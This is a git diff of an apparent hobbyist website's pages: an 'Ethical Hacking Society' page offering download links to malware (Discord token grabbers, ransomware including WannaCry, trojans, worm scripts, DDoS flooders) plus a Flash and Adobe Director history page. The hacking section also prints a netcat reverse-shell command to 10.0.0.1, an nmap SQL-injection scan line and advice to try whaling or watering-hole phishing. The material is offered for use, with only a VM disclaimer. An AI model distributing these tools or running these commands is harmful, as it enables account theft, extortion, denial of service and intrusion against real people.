-              <b>From <a href="/script">The Script Community</a>: </b> Slammer points to its own code as the data to send. The infected computer writes out a new copy of the worm and licks the UDP stamp. After sending off the first tainted packet, Slammer loops around immediately to send another to a different computer.
-            </p>
-            <p>
-              <a href="/media/files/Slammer_.py" download>Slammer (Python)</a>
-              <a href="/media/files/Slammer_socks.py" download>Slammer Socks (Python)</a>
-              <a href="/media/files/Slammer_terminal.py" download>Slammer Terminal (Python)</a> by CobraCommander.
-            </p>
-          </Fragment>
-        </Modal>
-        <Modal title="Denial for Service" id="dos">
-          <Fragment slot="modal-content">
-            <p>
-              <b>From <a href="/script">The Script Community</a>: </b> A denial-of-service (DoS) attack is a type of cyber attack in which a malicious actor aims to render a computer or other device unavailable to its intended users by interrupting the device's normal functioning. DoS attacks typically function by overwhelming or flooding a targeted machine with requests until normal traffic is unable to be processed, resulting in denial-of-service to addition users. A DoS attack is characterized by using a single computer to launch the attack.
-            </p>
-            <p>
-              <a href="/media/files/http.py" download>HTTP Flooder (Python)</a> by Nasus
-            </p>
-            <p>
-              <a href="/media/files/requirements.txt" download>Requirements (TXT)</a>
-              <a href="/media/files/MHViP.py" download>MHViP (Python)</a>
-              <a href="/media/files/README.md" download>README (MD)</a>. These files are a private paid DDPS
-            </p>
-          </Fragment>
-        </Modal>
-        <Modal title="Distributed Denial of Service" id="dos">
-          <Fragment slot="modal-content">
-            <p> A distributed denial-of-service (DDoS) attack is a type of DoS attack that comes from many distributed sources, such as a botnet DDoS attack. </p>
-            <p>
-              <a href="/media/files/SaphyraDDOS.py" download>SaphryaDDOS (Python)</a>
-              <a href="/media/files/Ping_of_death_.py" download>Ping of Death (Python)</a>
-              <a href="/media/files/UDP_Flood.py" download>UDP Flood (Python)</a> by CobraCommander
-            </p>
-          </Fragment>
-        </Modal>
-        <Modal title="Token Grabbers" id="token">
-          <Fragment slot="modal-content">
-            <p>
-              <b>From <a href="/script">The Script Community</a>: </b> A Token Grabber are supposed to grab people on Discord's tokens, to hack their account.
-            </p>
-            <p>
-              <a href="/media/files/token-grabber.py" download>Token Grabber (Python)</a> by Alex Toucan
-            </p>
-            <p>
-              <a href="/media/files/token.py" download>Token Grabber (Python)</a> by wodxgod
-            </p>
-            <p>
-              <a href="/media/files/tokengrab.py" download>Token Grabber (Python)</a> by Wever
-            </p>
-            <p>
-              <a href="/media/files/token.7z" download>Token Grabber (7Z)</a>
-              <a href="/media/files/Token_grabber4.py" download>Token Grabber (Python)</a> by CobraCommander
-            </p>
-            <p>
-              <a href="/media/files/tokencyb.js" download>Token Grabber (JavaScript)</a> by CУБΞЯC
-            </p>
-            <p>
-              <a href="/media/files/brutetoken.py" download>Token Bruteforcer (Python)</a> by Social404
-            </p>
-            <h4> Wever Recommends these Steps </h4>
-            <a href="https://github.com/ii7x/IMAGE-DISCORD-TOKEN-GRABBER-BY-II7X">Token Grabber.js</a>
-            <a href="https://github.com/Nimplex/ss-grabber.js">ss-grabber.js</a>
-          </Fragment>
-        </Modal>
-        <Modal title="Ransomware" id="ransom">
-          <Fragment slot="modal-content">
-            <p>
-              <a href="/media/files/DCQPKX.exe" download>DCQPKX (EXE)</a>
-              <a href="/media/files/Wannacry.exe" download>WannaCry (EXE)</a>
-              <a href="/media/files/Wannacry2.exe" download>WannaCry 2 (EXE)</a>
-              <a href="/media/files/MYDOOM.idb" download>MyDOOM (IDB)</a>
-              <a href="/media/files/grandcab.bin" download>GrandCab (BIN)</a>
-              <a href="/media/files/unknown" download>Unknown</a>
-              <a href="/media/files/windows8-rt.msu" download>Windows 8 RT Virus (MSU)</a>
-              <a href="/media/files/mydoom.c" download>MYDOOM (C)</a>
-              <a href="/media/files/RnVjayB5b3UgCg.bat" id="new">Infect Files (BAT)</a>
-              <a href="/media/files/Ransomware.exe" download>Homemade (EXE)</a> by CobraCommander
-            </p>
-            <p>
-              <a href="https://github.com/Endermanch/MalwareDatabase">Collection</a> by Endermanch
-            </p>
-          </Fragment>
-        </Modal>
-        <Modal title="Trojans" id="trojans">
-          <Fragment slot="modal-content">
-            <p>
-              <b>From <a href="/script">The Script Community</a>: </b> A Trojan horse in cybersecurity is any malware that misleads users of its true intent. It may look legitimate but can take control of your computer. A Trojan is designed to damage, disrupt, steal, or in general inflict some other harmful action on your data or network.
-            </p>
-            <p>
-              <a href="/media/files/memz-trojan.zip" download>MEMZ Trojan (ZIP | Python)</a>
-              <a href="/media/files/trojan-antivirus.bat" download>Trojan 1 (BAT)</a>
-              <a href="/media/files/trojan.bat" download>Trojan 2 (BAT)</a>
-              <a href="/media/files/Trojan_.bat" download>Trojan 3 (BAT)</a>
-              <a href="/media/files/Trojan_3.bat" download>Trojan 4 (BAT)</a>
-              <a href="/media/files/Trojan_2.bat" download>Trojan 5 (BAT)</a> by CobraCommander
-            </p>
-          </Fragment>
-        </Modal>
-        <Modal title="Worms" id="worms">
-          <Fragment slot="modal-content">
-            <p> A worm virus refers to a malicious program that replicates itself, automatically spreading through a network. </p>
-            <p>
-              <a href="/media/files/Networm.txt" download>Networm (TXT)</a> by CobraCommander
-            </p>
-          </Fragment>
-        </Modal>
-        <Modal title="Other" id="other">
-          <Fragment slot="modal-content">
-            <p>
-              <a href="/media/files/Doom.exe" download>Doom (EXE)</a>
-              <a href="/media/files/Techno.bat">Techno (BAT)</a>
-              <a href="/media/files/viruscodes.txt" download>VirusCodes (TXT)</a>
-              <a href="/media/files/DoomB.bat" download>Doom (BAT | Version 2)</a>
-              <a href="/media/files//unknown.bat" download>Unknown (BAT)</a>
-              <a href="/media/files/death.bat" download>Death (BAT)</a>
-              <a href="/media/files/crash.bat" download>Crash (BAT)</a>
-              <a href="/media/files/unknown1.bat" download>Unknown (BAT)</a>
-              <a href="/media/files/Matrix.txt" download>Matrix (TXT)</a>
-              <a href="/media/files/Script.bat" download>Script (BAT)</a>
-              <a href="/media/files/pingerandddos.zip" download>Pinger and DDOS (RAR)</a>
-              <a href="/media/files/Mydoom_3" download>MyDOOM_3</a> by CobraCommander
-            </p>
-            <p>
-              <b>Reverse Shell Command on <a href="http://netcat.sourceforge.net/">Netcat</a>
-              </b> - <code>nc -e /bin/sh 10.0.0.1 1234</code>
-            <p>
-              <b>
-                <a href="https://nmap.org/">Nmap</a> on Kali Linux SQL Injection </b> - <code>nmap --script=http-sql-injection &#60;target&#62;</code>
-            <p>
-              <b>Ping of Death in “C”</b> - <code>ping &lt;IP Address&gt; -t |65500</code>
-            </p>
-            <p>
-              <b> Social Engineering</b> - &quot;Spearhead phishing is effective but try something like whaling or watering hole&quot;
-            </p>
-            <p>
-              <a class="icon-link icon-link-hover" href="/script#whpt"> See phishing definitions <i class="bi bi-arrow-right h-100"></i>
-              </a>
-            </p>
-          </Fragment>
-        </Modal>
-    </div>
-  </main>
-  <Footer author="Alex Toucan & CobraCommander" />
+  <div id="main-content">
+    <Hero id="ehs" title="Ethical Hacking Society" description="The Ethical Hacking Society is about ethical hacking as a whole." 
+      buttons={[
+        { href: "https://discord.gg/yCnteHexEs", text: "Discord Server Invite", type: "primary" },
+        { href: "/backup/ehs", text: "View the all laid out format", type: "secondary" },
+      ]},
+      icons={[
+          { icon: "discord", desc: "Discord Server Invite", href: "https://discord.gg/zPdxVST5VU" },
+          { icon: "discord", desc: "Anti Vegans", href: "https://discord.gg/yCnteHexEs" },
+      ]},
+    />
+    <main id="ehs" class="mt-3 text-center container">
+      <div id="disclaimer">
+        <h2> Disclaimer </h2>
+        <p> We do not take responsibility for any damage or legal issues with these files here at AT Products LLC, and the other communities at the Ethical Hacking Society, The Script Community, CodingHome, or the Noodle Hackerspace. <br>
+          <br> Use a virtual machine if it's a computer virus; never open it on your physical machine. As a precaution, download them on your VM. <br>
+          <br> If it's an APK file, use an emulator. <br>
+          <br>
+          <a href="https://www.vmware.com/topics/glossary/content/virtual-machine" target="_blank" rel="noopener noreferrer">More information on Virtual Machines (VM) </a>
+          <br>
+          <a href="https://developer.android.com/studio/run/emulator" target="_blank" rel="noopener noreferrer">More information on APK Emulators</a>
+        </p>
+      </div>
+      <hr>
+      <div id="resources" class="text-center">
+        <h2> Resources </h4>
+          <p> What do you want to know about today? </p>
+          <Modal title="Slammer" id="slammer">
+            <Fragment slot="modal-content">
+              <p>
+                <b>From <a href="/script">The Script Community</a>: </b> Slammer points to its own code as the data to send. The infected computer writes out a new copy of the worm and licks the UDP stamp. After sending off the first tainted packet, Slammer loops around immediately to send another to a different computer.
+              </p>
+              <p>
+                <a href="/media/files/Slammer_.py" download>Slammer (Python)</a>
+                <a href="/media/files/Slammer_socks.py" download>Slammer Socks (Python)</a>
+                <a href="/media/files/Slammer_terminal.py" download>Slammer Terminal (Python)</a> by CobraCommander.
+              </p>
+            </Fragment>
+          </Modal>
+          <Modal title="Denial for Service" id="dos">
+            <Fragment slot="modal-content">
+              <p>
+                <b>From <a href="/script">The Script Community</a>: </b> A denial-of-service (DoS) attack is a type of cyber attack in which a malicious actor aims to render a computer or other device unavailable to its intended users by interrupting the device's normal functioning. DoS attacks typically function by overwhelming or flooding a targeted machine with requests until normal traffic is unable to be processed, resulting in denial-of-service to addition users. A DoS attack is characterized by using a single computer to launch the attack.
+              </p>
+              <p>
+                <a href="/media/files/http.py" download>HTTP Flooder (Python)</a> by Nasus
+              </p>
+              <p>
+                <a href="/media/files/requirements.txt" download>Requirements (TXT)</a>
+                <a href="/media/files/MHViP.py" download>MHViP (Python)</a>
+                <a href="/media/files/README.md" download>README (MD)</a>. These files are a private paid DDPS
+              </p>
+            </Fragment>
+          </Modal>
+          <Modal title="Distributed Denial of Service" id="dos">
+            <Fragment slot="modal-content">
+              <p> A distributed denial-of-service (DDoS) attack is a type of DoS attack that comes from many distributed sources, such as a botnet DDoS attack. </p>
+              <p>
+                <a href="/media/files/SaphyraDDOS.py" download>SaphryaDDOS (Python)</a>
+                <a href="/media/files/Ping_of_death_.py" download>Ping of Death (Python)</a>
+                <a href="/media/files/UDP_Flood.py" download>UDP Flood (Python)</a> by CobraCommander
+              </p>
+            </Fragment>
+          </Modal>
+          <Modal title="Token Grabbers" id="token">
+            <Fragment slot="modal-content">
+              <p>
+                <b>From <a href="/script">The Script Community</a>: </b> A Token Grabber are supposed to grab people on Discord's tokens, to hack their account.
+              </p>
+              <p>
+                <a href="/media/files/token-grabber.py" download>Token Grabber (Python)</a> by Alex Toucan
+              </p>
+              <p>
+                <a href="/media/files/token.py" download>Token Grabber (Python)</a> by wodxgod
+              </p>
+              <p>
+                <a href="/media/files/tokengrab.py" download>Token Grabber (Python)</a> by Wever
+              </p>
+              <p>
+                <a href="/media/files/token.7z" download>Token Grabber (7Z)</a>
+                <a href="/media/files/Token_grabber4.py" download>Token Grabber (Python)</a> by CobraCommander
+              </p>
+              <p>
+                <a href="/media/files/tokencyb.js" download>Token Grabber (JavaScript)</a> by CУБΞЯC
+              </p>
+              <p>
+                <a href="/media/files/brutetoken.py" download>Token Bruteforcer (Python)</a> by Social404
+              </p>
+              <h4> Wever Recommends these Steps </h4>
+              <a href="https://github.com/ii7x/IMAGE-DISCORD-TOKEN-GRABBER-BY-II7X">Token Grabber.js</a>
+              <a href="https://github.com/Nimplex/ss-grabber.js">ss-grabber.js</a>
+            </Fragment>
+          </Modal>
+          <Modal title="Ransomware" id="ransom">
+            <Fragment slot="modal-content">
+              <p>
+                <a href="/media/files/DCQPKX.exe" download>DCQPKX (EXE)</a>
+                <a href="/media/files/Wannacry.exe" download>WannaCry (EXE)</a>
+                <a href="/media/files/Wannacry2.exe" download>WannaCry 2 (EXE)</a>
+                <a href="/media/files/MYDOOM.idb" download>MyDOOM (IDB)</a>
+                <a href="/media/files/grandcab.bin" download>GrandCab (BIN)</a>
+                <a href="/media/files/unknown" download>Unknown</a>
+                <a href="/media/files/windows8-rt.msu" download>Windows 8 RT Virus (MSU)</a>
+                <a href="/media/files/mydoom.c" download>MYDOOM (C)</a>
+                <a href="/media/files/RnVjayB5b3UgCg.bat" id="new">Infect Files (BAT)</a>
+                <a href="/media/files/Ransomware.exe" download>Homemade (EXE)</a> by CobraCommander
+              </p>
+              <p>
+                <a href="https://github.com/Endermanch/MalwareDatabase">Collection</a> by Endermanch
+              </p>
+            </Fragment>
+          </Modal>
+          <Modal title="Trojans" id="trojans">
+            <Fragment slot="modal-content">
+              <p>
+                <b>From <a href="/script">The Script Community</a>: </b> A Trojan horse in cybersecurity is any malware that misleads users of its true intent. It may look legitimate but can take control of your computer. A Trojan is designed to damage, disrupt, steal, or in general inflict some other harmful action on your data or network.
+              </p>
+              <p>
+                <a href="/media/files/memz-trojan.zip" download>MEMZ Trojan (ZIP | Python)</a>
+                <a href="/media/files/trojan-antivirus.bat" download>Trojan 1 (BAT)</a>
+                <a href="/media/files/trojan.bat" download>Trojan 2 (BAT)</a>
+                <a href="/media/files/Trojan_.bat" download>Trojan 3 (BAT)</a>
+                <a href="/media/files/Trojan_3.bat" download>Trojan 4 (BAT)</a>
+                <a href="/media/files/Trojan_2.bat" download>Trojan 5 (BAT)</a> by CobraCommander
+              </p>
+            </Fragment>
+          </Modal>
+          <Modal title="Worms" id="worms">
+            <Fragment slot="modal-content">
+              <p> A worm virus refers to a malicious program that replicates itself, automatically spreading through a network. </p>
+              <p>
+                <a href="/media/files/Networm.txt" download>Networm (TXT)</a> by CobraCommander
+              </p>
+            </Fragment>
+          </Modal>
+          <Modal title="Other" id="other">
+            <Fragment slot="modal-content">
+              <p>
+                <a href="/media/files/Doom.exe" download>Doom (EXE)</a>
+                <a href="/media/files/Techno.bat">Techno (BAT)</a>
+                <a href="/media/files/viruscodes.txt" download>VirusCodes (TXT)</a>
+                <a href="/media/files/DoomB.bat" download>Doom (BAT | Version 2)</a>
+                <a href="/media/files//unknown.bat" download>Unknown (BAT)</a>
+                <a href="/media/files/death.bat" download>Death (BAT)</a>
+                <a href="/media/files/crash.bat" download>Crash (BAT)</a>
+                <a href="/media/files/unknown1.bat" download>Unknown (BAT)</a>
+                <a href="/media/files/Matrix.txt" download>Matrix (TXT)</a>
+                <a href="/media/files/Script.bat" download>Script (BAT)</a>
+                <a href="/media/files/pingerandddos.zip" download>Pinger and DDOS (RAR)</a>
+                <a href="/media/files/Mydoom_3" download>MyDOOM_3</a> by CobraCommander
+              </p>
+              <p>
+                <b>Reverse Shell Command on <a href="http://netcat.sourceforge.net/">Netcat</a>
+                </b> - <code>nc -e /bin/sh 10.0.0.1 1234</code>
+              <p>
+                <b>
+                  <a href="https://nmap.org/">Nmap</a> on Kali Linux SQL Injection </b> - <code>nmap --script=http-sql-injection &#60;target&#62;</code>
+              <p>
+                <b>Ping of Death in “C”</b> - <code>ping &lt;IP Address&gt; -t |65500</code>
+              </p>
+              <p>
+                <b> Social Engineering</b> - &quot;Spearhead phishing is effective but try something like whaling or watering hole&quot;
+              </p>
+              <p>
+                <a class="icon-link icon-link-hover" href="/script#whpt"> See phishing definitions <i class="bi bi-arrow-right h-100"></i>
+                </a>
+              </p>
+            </Fragment>
+          </Modal>
+      </div>
+    </main>
+    <Footer author="Alex Toucan & CobraCommander" />
+  </div>
   <BackToTop />
 </div>
-<Scripts />
\ No newline at end of file
+<Scripts modal="true" />
diff --git a/src/pages/flash.astro b/src/pages/flash.astro
index 842ac0052..38adfd753 100644
--- a/src/pages/flash.astro
+++ b/src/pages/flash.astro
@@ -12,532 +12,534 @@ import BackToTop from '../components/BackToTop.astro';
 <Head title="Flash Documentation" heroid="flash" icon="Adobe_Flash_Player_32.svg.png" description="Flash might be no longer supported by Adobe, but we'll keep Flash Player going until the end of time!" keywords="Flash Documentation, AT Products" author="Alex Toucan" />
 <div id="page">
   <Navbar />
-  <Hero id="flash" description="Flash might be no longer supported by Adobe, but we'll keep Flash Player going until the end of time!" imageSrc="/media/images/flashdoc.webp" imageWidth="50%" minImageWidth="250px" imageClasses="bg-light p-1 bg-opacity-50 rounded-2"
-  buttons={[
-    { href: "/backup/flash", text: "View the all laid out format", type: "secondary" },
-  ]},
-  />
-  <main id="flash" class="text-center container">
-    <div id="resources">
-      <h2> Resources </h2>
-      <p> What do you want to know about today? </p>
-      <Modal title="Adobe AIR" id="ai">
-        <Fragment slot="modal-content">
-          <figure class="figure">
-            <img src="/media/images/adobeair.png" width="12.5%" style="min-width: 125px;" alt="AIR logo" class="flash">
-            <figcaption class="figure-caption mt-1">Adobe AIR Logo</figcaption>
-          </figure>
-          <p> On this page, we will review Adobe AIR. </p>
-          <h3> What is Adobe AIR </h3>
-          <p> Adobe AIR (codenamed Apollo) runtime enables developers to use HTML, JavaScript, Adobe Flash software, and ActionScript to build web applications that run as standalone client applications without the constraints of a browser. This supports AIR files for installation. Adobe AIR's logo history falls under Adobe's Flash Player logo history, having similar logos. Adobe AIR was discontinued at the same time that Flash Player was discontinued, on January 1st, 2021.</p> 
-          <h3> How to use Adobe AIR in 2022 </h3>
-          <p> You can download the most recent version of <a href="/media/files/AdobeAIR.exe">Adobe AIR here</a>, or install <a href="http://www.oldversion.com/windows/adobe-air/">older versions</a>.</p>
-          <p> If you need to uninstall it, open Command Prompt or Run in Windows, use <code>path to AdobeAIRInstaller.exe -uninstall</code> and enter. Otherwise, use this <a href="https://support.microsoft.com/en-us/topic/fix-problems-that-block-programs-from-being-installed-or-removed-cca7d1b6-65a9-3d98-426b-e9f927e1eb4d">Microsoft blog post</a>.</p>
-        </Fragment>
-      </Modal>
-      <Modal title="Adobe AIR Logo History" id="al">
-        <Fragment slot="modal-content">
-          <Scrollspy id="air-list"
-            scrollcontent={[
-            { name: "2008", href: "#a2008" },
-            { name: "2010", href: "#a2010" },
-            { name: "2013", href: "#a2013" },
-            { name: "2015", href: "#a2015" },
-            ]}
-          >
-            <Fragment slot="scrollspy-content">
-              <div id="a2008">
-                <p> 2008 - 2010 </p>
-                <img src="/media/images/Adobe_air_2008.webp" width="200" height="200" alt="2008-2010">
-              </div>
-              <br> <br> <br>
-              <div id="a2010">
-                <p> 2010 - 2013 </p>
-                <img src="/media/images/Adobe_air_2010.webp" width="200" height="200" alt="2010-2013">
-              </div>
-              <br> <br> <br>
-              <div id="a2013">
-                <p> 2013 - 2015 </p>
-                <img src="/media/images/Adobe_air_2013.webp" width="200" height="200" alt="2013-2015">
-              </div>
-              <div id="a2015">
-              <br> <br> <br>
-                <p> 2015 - Present </p>
-                <img src="/media/images/Adobe_air_2015.webp" width="200" height="200" alt="2015-now"> <br> 
-                <img src="/media/images/24406.png" width="200" height="200" alt="2015-now installer"> <br>
-                <sub> Installer </sub>
-              </div>
-            </Fragment>
-          </Scrollspy>
-        </Fragment>
-      </Modal>
-      <Modal title="Adobe Director" id="di">
-        <Fragment slot="modal-content">
-          <figure class="figure">
-            <img src="/media/images/Adobe_Di.svg.png" width="12.5%" style="min-width: 125px;" alt="Director Logo" class="flash">
-            <figcaption class="figure-caption mt-1">Adobe Director Logo</figcaption>
-          </figure>
-          <p> On this page, we will review Adobe Director. </p>
-          <h3> What is Adobe Director </h3>
-          <p> Adobe Director is very similar to Adobe Flash Player, but they are both completely different things. Instead of SWF files, it uses DCR files. It can also use Apple Inc.'s Quicktime, used to support media, and the 3DO Company's 3DO Console Engine. Adobe Director's last version was 12, released on February 11th, 2013. The product would be later discontinued in a range from February 1st to March 14th of 2017. </p>
-          <h3> Plug-ins </h3>
-          <p> One of the few differences between Director and Flash is that Director supports plug-ins or Xtras. This is possible by a tool named Adobe Director's XDK (Xtra Development Kit), which is a C++ SDK. With each new version, new changes are important for these plug-ins.  </p>
-          <h3> How to use Adobe Director after 2017 </h3>
-          <p> Adobe Director has standalone apps that have DCR files pre-loaded (<a href="/media/files/spongebob-example.zip" download>example</a>).</p>
-          <p> You can download the most recent version of <a href="/media/files/Projector Skeleton for Adobe Director 12.0.1.122.zip" download>Projector Skeleton for Adobe Director here</a> for using DCR files onto a Windows app. It will ask you once you open the application, to put in a DCR file. Make sure that the plugin is in the same folder (directory) as the DCR file. You can download a <a href="/media/files/anchovies.dcr">example DCR game here</a>.</p>
-          <p>If you have issues about 16-bit apps with Director, you may <a href="https://github.com/otya128/winevdm#readme">view how to run them on Windows 10 or above</a>.</p>
-        </Fragment>
-      </Modal>
-      <Modal title="Adobe Director Logo History" id="dl">
-        <Fragment slot="modal-content">
-          <Scrollspy id="dir-list"
-            scrollcontent={[
-            { name: "Macromind Videoworks", href: "#mvtitle", additionalClasses: "fw-bolder" },
-            { name: "Version 1 (1985)", href: "#d1985" },
-            { name: "Version 2 (1987)", href: "#d1987" },
-            { name: "Macromind Director", href: "#mdtitle", additionalClasses: "fw-bolder" },
-            { name: "Version 1 (1989)", href: "#d1989" },
-            { name: "Version 2 (1990)", href: "#d1990" },
-            { name: "Version 3 (1991)", href: "#d1991" },
-            { name: "Version 3.1 (1992)", href: "#d1992" },
-            { name: "Macromedia Director", href: "#matitle", additionalClasses: "fw-bolder" },
-            { name: "Version 3.1.3 (1993)", href: "#d1993" },
-            { name: "Version 4 (1994)", href: "#d1994" },
-            { name: "Version 5 (1996)", href: "#d1996" },
-            { name: "Version 6 (1997)", href: "#d1997" },
-            { name: "Version 7 (1998)", href: "#d1998" },
-            { name: "Version 8 (2000)", href: "#d2000" },
-            { name: "Version 8.5 (2001)", href: "#d2001" },
-            { name: "Versions 9 - 10 (2002)", href: "#d2002" },
-            { name: "Adobe Director", href: "#aetitle", additionalClasses: "fw-bolder" },
-            { name: "Version 11 (2007)", href: "#d2007" },
-            { name: "Version 11.5 (2008)", href: "#d2008" },
-            { name: "Version 12 (2010)", href: "#d2010" },
-            ]}
-          otherClass="dmsize">
-            <Fragment slot="scrollspy-content">
-              <div id="videoworks">
-                <h4 id="mvtitle"> Macromind Videoworks </h4>
-                <div id="d1985">
-                  <p> 1985 - 1987 </p>
-                  <p> Version 1 </p>
-                  <img src="/media/images/MacromindVideoworks_1.webp" width="200" height="200" alt="1985-1987 | version 1"> <br> <br>
-                  <img src="/media/images/bannerMacromindVideoworks_1.webp" alt=" 1985-1987 | version 1">
+  <div id="main-content">
+    <Hero id="flash" description="Flash might be no longer supported by Adobe, but we'll keep Flash Player going until the end of time!" imageSrc="/media/images/flashdoc.webp" imageWidth="50%" imageAlt="Flash Documentation" minImageWidth="250px" imageClasses="bg-light p-1 bg-opacity-50 rounded-2"
+    buttons={[
+      { href: "/backup/flash", text: "View the all laid out format", type: "secondary" },
+    ]},
+    />
+    <main id="flash" class="text-center container">
+      <div id="resources">
+        <h2> Resources </h2>
+        <p> What do you want to know about today? </p>
+        <Modal title="Adobe AIR" id="ai">
+          <Fragment slot="modal-content">
+            <figure class="figure">
+              <img src="/media/images/adobeair.png" width="12.5%" style="min-width: 125px;" alt="AIR logo" class="flash">
+              <figcaption class="figure-caption mt-1">Adobe AIR Logo</figcaption>
+            </figure>
+            <p> On this page, we will review Adobe AIR. </p>
+            <h3> What is Adobe AIR </h3>
+            <p> Adobe AIR (codenamed Apollo) runtime enables developers to use HTML, JavaScript, Adobe Flash software, and ActionScript to build web applications that run as standalone client applications without the constraints of a browser. This supports AIR files for installation. Adobe AIR's logo history falls under Adobe's Flash Player logo history, having similar logos. Adobe AIR was discontinued at the same time that Flash Player was discontinued, on January 1st, 2021.</p> 
+            <h3> How to use Adobe AIR in 2022 </h3>
+            <p> You can download the most recent version of <a href="/media/files/AdobeAIR.exe">Adobe AIR here</a>, or install <a href="http://www.oldversion.com/windows/adobe-air/">older versions</a>.</p>
+            <p> If you need to uninstall it, open Command Prompt or Run in Windows, use <code>path to AdobeAIRInstaller.exe -uninstall</code> and enter. Otherwise, use this <a href="https://support.microsoft.com/en-us/topic/fix-problems-that-block-programs-from-being-installed-or-removed-cca7d1b6-65a9-3d98-426b-e9f927e1eb4d">Microsoft blog post</a>.</p>
+          </Fragment>
+        </Modal>
+        <Modal title="Adobe AIR Logo History" id="al">
+          <Fragment slot="modal-content">
+            <Scrollspy id="air-list"
+              scrollcontent={[
+              { name: "2008", href: "#a2008" },
+              { name: "2010", href: "#a2010" },
+              { name: "2013", href: "#a2013" },
+              { name: "2015", href: "#a2015" },
+              ]}
+            >
+              <Fragment slot="scrollspy-content">
+                <div id="a2008">
+                  <p> 2008 - 2010 </p>
+                  <img src="/media/images/Adobe_air_2008.webp" width="200" height="200" alt="2008-2010">
                 </div>
                 <br> <br> <br>
-                <div id="d1987">
-                  <p> 1987 - 1989 </p>
-                  <p> Version 2 </p>
-                  <img src="/media/images/MacromediaVideoworks_2.webp" width="200" height="200" alt="1987-1989 | version 2">
-                </div>
-              </div>
-              <hr>
-              <div id="director">
-                <h4 id="mdtitle"> Macromind Director </h4>
-                <div id="d1989">
-                  <p> 1989 - 1990 </p>
-                  <p> Version 1 </p>
-                  <img src="/media/images/MacromindDirector_1.webp" width="200" height="137" alt="1989-1990 | version 1">
+                <div id="a2010">
+                  <p> 2010 - 2013 </p>
+                  <img src="/media/images/Adobe_air_2010.webp" width="200" height="200" alt="2010-2013">
                 </div>
                 <br> <br> <br>
-                <div id="d1990">
-                  <p> 1990 - 1991 </p>
-                  <p> Version 2 </p>
-                  <img src="/media/images/MacromindDirector_2.webp" width="200" height="205" alt="1990-1991 | version 2">
+                <div id="a2013">
+                  <p> 2013 - 2015 </p>
+                  <img src="/media/images/Adobe_air_2013.webp" width="200" height="200" alt="2013-2015">
                 </div>
+                <div id="a2015">
                 <br> <br> <br>
-                <div id="d1991">
-                  <p> 1991 - 1992 </p>
-                  <p> Version 3 </p>
-                  <img src="/media/images/MacromindDirector_3.webp" width="200" height="223" alt="1991-1992 | version 3">
+                  <p> 2015 - Present </p>
+                  <img src="/media/images/Adobe_air_2015.webp" width="200" height="200" alt="2015-now"> <br> 
+                  <img src="/media/images/24406.png" width="200" height="200" alt="2015-now installer"> <br>
+                  <sub> Installer </sub>
                 </div>
-                <br> <br> <br>
-                <div id="d1992">
-                  <p> 1992 - 1993 </p>
-                  <p> Version 3.1 </p>
-                  <img src="/media/images/Director31.webp" width="200" height="224" alt="1992-1993 | version 3.1">
+              </Fragment>
+            </Scrollspy>
+          </Fragment>
+        </Modal>
+        <Modal title="Adobe Director" id="di">
+          <Fragment slot="modal-content">
+            <figure class="figure">
+              <img src="/media/images/Adobe_Di.svg.png" width="12.5%" style="min-width: 125px;" alt="Director Logo" class="flash">
+              <figcaption class="figure-caption mt-1">Adobe Director Logo</figcaption>
+            </figure>
+            <p> On this page, we will review Adobe Director. </p>
+            <h3> What is Adobe Director </h3>
+            <p> Adobe Director is very similar to Adobe Flash Player, but they are both completely different things. Instead of SWF files, it uses DCR files. It can also use Apple Inc.'s Quicktime, used to support media, and the 3DO Company's 3DO Console Engine. Adobe Director's last version was 12, released on February 11th, 2013. The product would be later discontinued in a range from February 1st to March 14th of 2017. </p>
+            <h3> Plug-ins </h3>
+            <p> One of the few differences between Director and Flash is that Director supports plug-ins or Xtras. This is possible by a tool named Adobe Director's XDK (Xtra Development Kit), which is a C++ SDK. With each new version, new changes are important for these plug-ins.  </p>
+            <h3> How to use Adobe Director after 2017 </h3>
+            <p> Adobe Director has standalone apps that have DCR files pre-loaded (<a href="/media/files/spongebob-example.zip" download>example</a>).</p>
+            <p> You can download the most recent version of <a href="/media/files/Projector Skeleton for Adobe Director 12.0.1.122.zip" download>Projector Skeleton for Adobe Director here</a> for using DCR files onto a Windows app. It will ask you once you open the application, to put in a DCR file. Make sure that the plugin is in the same folder (directory) as the DCR file. You can download a <a href="/media/files/anchovies.dcr">example DCR game here</a>.</p>
+            <p>If you have issues about 16-bit apps with Director, you may <a href="https://github.com/otya128/winevdm#readme">view how to run them on Windows 10 or above</a>.</p>
+          </Fragment>
+        </Modal>
+        <Modal title="Adobe Director Logo History" id="dl">
+          <Fragment slot="modal-content">
+            <Scrollspy id="dir-list"
+              scrollcontent={[
+              { name: "Macromind Videoworks", href: "#mvtitle", additionalClasses: "fw-bolder" },
+              { name: "Version 1 (1985)", href: "#d1985" },
+              { name: "Version 2 (1987)", href: "#d1987" },
+              { name: "Macromind Director", href: "#mdtitle", additionalClasses: "fw-bolder" },
+              { name: "Version 1 (1989)", href: "#d1989" },
+              { name: "Version 2 (1990)", href: "#d1990" },
+              { name: "Version 3 (1991)", href: "#d1991" },
+              { name: "Version 3.1 (1992)", href: "#d1992" },
+              { name: "Macromedia Director", href: "#matitle", additionalClasses: "fw-bolder" },
+              { name: "Version 3.1.3 (1993)", href: "#d1993" },
+              { name: "Version 4 (1994)", href: "#d1994" },
+              { name: "Version 5 (1996)", href: "#d1996" },
+              { name: "Version 6 (1997)", href: "#d1997" },
+              { name: "Version 7 (1998)", href: "#d1998" },
+              { name: "Version 8 (2000)", href: "#d2000" },
+              { name: "Version 8.5 (2001)", href: "#d2001" },
+              { name: "Versions 9 - 10 (2002)", href: "#d2002" },
+              { name: "Adobe Director", href: "#aetitle", additionalClasses: "fw-bolder" },
+              { name: "Version 11 (2007)", href: "#d2007" },
+              { name: "Version 11.5 (2008)", href: "#d2008" },
+              { name: "Version 12 (2010)", href: "#d2010" },
+              ]}
+            otherClass="dmsize">
+              <Fragment slot="scrollspy-content">
+                <div id="videoworks">
+                  <h3 id="mvtitle"> Macromind Videoworks </h3>
+                  <div id="d1985">
+                    <p> 1985 - 1987 </p>
+                    <p> Version 1 </p>
+                    <img src="/media/images/MacromindVideoworks_1.webp" width="200" height="200" alt="1985-1987 | version 1"> <br> <br>
+                    <img src="/media/images/bannerMacromindVideoworks_1.webp" alt=" 1985-1987 | version 1">
+                  </div>
+                  <br> <br> <br>
+                  <div id="d1987">
+                    <p> 1987 - 1989 </p>
+                    <p> Version 2 </p>
+                    <img src="/media/images/MacromediaVideoworks_2.webp" width="200" height="200" alt="1987-1989 | version 2">
+                  </div>
                 </div>
-              </div>
-              <hr>
-              <div id="macromedia">
-                <h4 id="matitle"> Macromedia Director </h4>
